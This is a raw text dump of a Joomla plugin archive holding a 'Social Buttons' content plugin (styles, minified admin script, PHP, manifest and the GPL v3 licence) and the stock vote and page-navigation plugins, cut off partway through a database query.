.a_title { padding: 4px 8px; } label.a_title { float: none !important; padding: 5px 8px 3px 8px !important; margin: 0 !important; pointer: cursor; } .a_title ul { margin: 0 !important; margin-left: 2em !important; } .a_title ul li { list-style: disc outside !important; } span.a_code { font-family: monospace; font-size: 12px; color: #666666; } input.a_codefield { font-family: monospace; font-size: 2em; padding: 2px 5px; text-align: center; } .aslide ul { margin: 0; } div#mc-component .aslide ul li { padding: 5px 0; } div.a_hr { height: 2px; border-left: 0 !important; border-right: 0 !important; }PK>\ȷesocialbuttons/fields/script3.jsnuW+A/** * @package Donate * @subpackage mod_donate * @copyright Copyright (C) 2013 Elite Developers All rights reserved. * @license GNU/GPL v3 http://www.gnu.org/licenses/gpl.html */ /*Minified*/ (function($){if(typeof(window['aScripts'])=="undefined"){$(document).ready(function(){$('div.control-group > div').each(function(i,el){if($(el).html().trim()==''){$(el).remove();}});$('div.control-group').each(function(i,el){if($(el).html().trim()==''){$(el).remove();}});$('div.control-group > div.hide').each(function(i,el){$(el).parent().css('margin',0);});});aScripts={loadajax:function(url,succes,fail,query,timeout,dataType){if(url.substr(0,9)!='index.php'){url=url.replace('http://','');url='index.php?a_qp=1&url='+escape(url);if(timeout){url+='&timeout='+timeout;}}dt=dataType?dataType:'';$.ajax({type:'post',url:url,dataType:dt,success:function(data){if(succes){eval(succes+';');}},error:function(data){if(fail){eval(fail+';');}}});},displayVersion:function(data,extension,version,is_pro){if(!data){return;}var xml=aScripts.getObjectFromXML(data);if(!xml){return;}if(typeof(xml[extension])=='undefined'){return;}dat=xml[extension];if(!dat||typeof(dat['version'])=='undefined'||!dat['version']){return;}var new_version=dat['version'];compare=aScripts.compareVersions(version,new_version);if(compare!='<'){return;}el=$('#elite_newversioaumber_'+extension);if(el){el.text(new_version);}el=$('#elite_version_'+extension);if(el){el.css('display','block');}},toggleSelectListSelection:function(id){var el=document.getElement('#'+id);if(el&&el.options){for(var i=0;i100)?100:el.length);link.getElement('span.show').setStyle('display','none');link.getElement('span.hide').setStyle('display','inline');if(typeof(window['aToggler'])!="undefined"){aToggler.autoHeightDivs();}}else{el.setAttribute('size',el.getAttribute('rel'));link.getElement('span.hide').setStyle('display','none');link.getElement('span.show').setStyle('display','inline');}}},in_array:function(needle,haystack,casesensitive){if({}.toString.call(needle).slice(8,-1)!='Array'){needle=[needle];}if({}.toString.call(haystack).slice(8,-1)!='Array'){haystack=[haystack];}for(var h=0;hnum2[i]){return'>';}}if(let2&&(!let1||let1>let2)){return'>';}else if(let1&&(!let2||let1\wtWsocialbuttons/fields/index.htmlnuW+APK>\)socialbuttons/.htaccessnuW+A Order allow,deny Deny from all PK>\|wfKKsocialbuttons/license.txtnuW+A GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . PK>\=P``socialbuttons/socialbuttons.phpnuW+A getMenu() -> getActive(); $show = $this->params->get( 'show' ); if ( $show ) { if ( !is_array( $show ) ) { $shows[] = $show ; } else { $shows = $show ; } foreach ( $shows as $va ) { if ( $va == 'other' ) { if ( ( $active->component != 'com_content' ) || ( $context != 'com_content.article' ) ) { return ; } } else { if ( ( JRequest :: getVar( 'view' ) ) == $va ) { return ; } if ( $va == 'frontpage' ) { $menu = $app->getMenu(); if ($active == $menu->getDefault()) { return ; } } } } } if ( $context != 'mod_custom.content' ) { $exclude_cat = $this->params->get( 'exclude_cat' , 0 ); if ( !empty( $exclude_cat ) ) { if ( strlen( array_search( $row->catid , $exclude_cat ) ) ) { return ; } } $exclude_art = $this->params->get( 'exclude_art' , '' ); $articlesArray = explode( "," , $exclude_art ); if( !empty( $exclude_art ) ) { if ( strlen( array_search( $row->id , $articlesArray ) ) ) { return ; } } require_once JPATH_BASE . '/components/com_content/helpers/route.php' ; $Itemid = JRequest::getVar( "Itemid" , "1" ); if ( $row->id ) { $link = JURI::getInstance(); $root = $link->getScheme() . "://" . $link->getHost(); if ( $active->component == 'com_content' ) { if ( $row->slug && $row->catslug ) { $link = JRoute::_( ContentHelperRoute::getArticleRoute( $row->slug , $row->catslug ) , false ); } } $link = $root . $link ; } else { $jURI = &JURI::getInstance(); $link = $jURI->toString(); } $facebook_width = $this->params->get( 'facebook_width' ); $twitter_width = $this->params->get( 'twitter_width' ); $googleplus_width = $this->params->get( 'googleplus_width' ); $linkedin_width = $this->params->get( 'linkedin_width' ); $html = '' ; $html .= '
    ' ; $html .= '
    ' ; $html .= '
    ' ; $position = $this->params->get( 'position' , 'above' ) ; if ( $this->params->get( 'show_front' ) == 1 ) { if ( $position == 'above' ) { $row->text = $html . $row->text ; $row->introtext = $html . $row->introtext ; } else { $row->text .= $html ; $row->introtext .= $html ; } } else { if ( $position == 'above' ) { $row->text = $html . $row->text ; } else { $row->text .= $html ; } } } } } ?>PK>\^sS4S4socialbuttons/socialbuttons.xmlnuW+A Content - Social Buttons Elite Developers June 2013 Copyright (C) 2013 Elite Developers. All rights reserved. GNU General Public License version 3 or later; see LICENSE.txt admin@elitewebdev.com www.elitewebdev.com 3.3.0 - Access Plugin: Extensions >> Plugin Manager >> Social Buttons
    - Configure parameters as you like
    - Publish/Enable
    - Save.

    ( Need Help ? Report a bug ? Request a new feature ? : Click Here - Contact Us )
    ]]> socialbuttons.php index.html license.txt fields language en-GB/en-GB.plg_content_socialbuttons.ini en-GB/en-GB.plg_content_socialbuttons.sys.ini
    http://www.elitewebdev.com/files/joomla/extensions/social_buttons/1/xmls/updateplg.xml PK>\#o,,socialbuttons/index.htmlnuW+APK>\i i vote/vote.phpnuW+AloadLanguage(); } /** * @since 1.6 */ public function onContentBeforeDisplay($context, &$row, &$params, $page=0) { $html = ''; if ($params->get('show_vote')) { $rating = intval(@$row->rating); $rating_count = intval(@$row->rating_count); $view = JRequest::getString('view', ''); $img = ''; // look for images in template if available $starImageOn = JHtml::_('image', 'system/rating_star.png', NULL, NULL, true); $starImageOff = JHtml::_('image', 'system/rating_star_blank.png', NULL, NULL, true); for ($i=0; $i < $rating; $i++) { $img .= $starImageOn; } for ($i=$rating; $i < 5; $i++) { $img .= $starImageOff; } $html .= ''; $html .= JText::sprintf( 'PLG_VOTE_USER_RATING', $img, $rating_count ); $html .= "\n
    \n"; if ( $view == 'article' && $row->state == 1) { $uri = JFactory::getURI(); $uri->setQuery($uri->getQuery().'&hitcount=0'); $html .= '
    '; $html .= '
    '; $html .= JText::_( 'PLG_VOTE_POOR' ); $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= JText::_( 'PLG_VOTE_BEST' ); $html .= ' '; $html .= ''; $html .= ''; $html .= ''; $html .= JHtml::_('form.token'); $html .= '
    '; $html .= '
    '; } } return $html; } } PK>\Vvote/index.htmlnuW+A PK>\cc vote/vote.xmlnuW+A plg_content_vote Joomla! Project November 2005 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_VOTE_XML_DESCRIPTION vote.php index.html en-GB.plg_content_vote.ini en-GB.plg_content_vote.sys.ini PK>\)vote/.htaccessnuW+A Order allow,deny Deny from all PK>\)pagenavigation/.htaccessnuW+A Order allow,deny Deny from all PK>\Vpagenavigation/index.htmlnuW+A PK>\~KRR!pagenavigation/pagenavigation.xmlnuW+A plg_content_pagenavigation Joomla! Project January 2006 Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 PLG_PAGENAVIGATION_XML_DESCRIPTION pagenavigation.php index.html en-GB.plg_content_pagenavigation.ini en-GB.plg_content_pagenavigation.sys.ini
    PK>\a,kk!pagenavigation/pagenavigation.phpnuW+Aget('show_item_navigation') && ($context == 'com_content.article') && ($view == 'article')) { $html = ''; $db = JFactory::getDbo(); $user = JFactory::getUser(); $app = JFactory::getApplication(); $lang = JFactory::getLanguage(); $nullDate = $db->getNullDate(); $date = JFactory::getDate(); $config = JFactory::getConfig(); $now = $date->toSql(); $uid = $row->id; $option = 'com_content'; $canPublish = $user->authorise('core.edit.state', $option.'.article.'.$row->id); // The following is needed as different menu items types utilise a different param to control ordering. // For Blogs the `orderby_sec` param is the order controlling param. // For Table and List views it is the `orderby` param. $params_list = $params->toArray(); if (array_key_exists('orderby_sec', $params_list)) { $order_method = $params->get('orderby_sec', ''); } else { $order_method = $params->get('orderby', ''); } // Additional check for invalid sort ordering. if ($order_method == 'front') { $order_method = ''; } // Determine sort order. switch ($order_method) { case 'date' : $orderby = 'a.created'; break; case 'rdate' : $orderby = 'a.created DESC'; break; case 'alpha' : $orderby = 'a.title'; break; case 'ralpha' : $orderby = 'a.title DESC'; break; case 'hits' : $orderby = 'a.hits'; break; case 'rhits' : $orderby = 'a.hits DESC'; break; case 'order' : $orderby = 'a.ordering'; break; case 'author' : $orderby = 'a.created_by_alias, u.name'; break; case 'rauthor' : $orderby = 'a.created_by_alias DESC, u.name DESC'; break; case 'front' : $orderby = 'f.ordering'; break; default : $orderby = 'a.ordering'; break; } $xwhere = ' AND (a.state = 1 OR a.state = -1)' . ' AND (publish_up = '.$db->Quote($nullDate).' OR publish_up <= '.$db->Quote($now).')' . ' AND (publish_down = '.$db->Quote($nullDate).' OR publish_down >= '.$db->Quote($now).')'; // Array of articles in same category correctly ordered. $query = $db->getQuery(true); //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('cc.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('cc.id'); $case_when1 .= $query->concatenate(array($c_id, 'cc.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select('a.id, a.language,'.$case_when.','.$case_when1); $query->from('#__content AS a'); $query->leftJoin('#__categories AS cc ON cc.id = a.catid'); $query->where('a.catid = '. (int)$row->catid .' AND a.state = '. 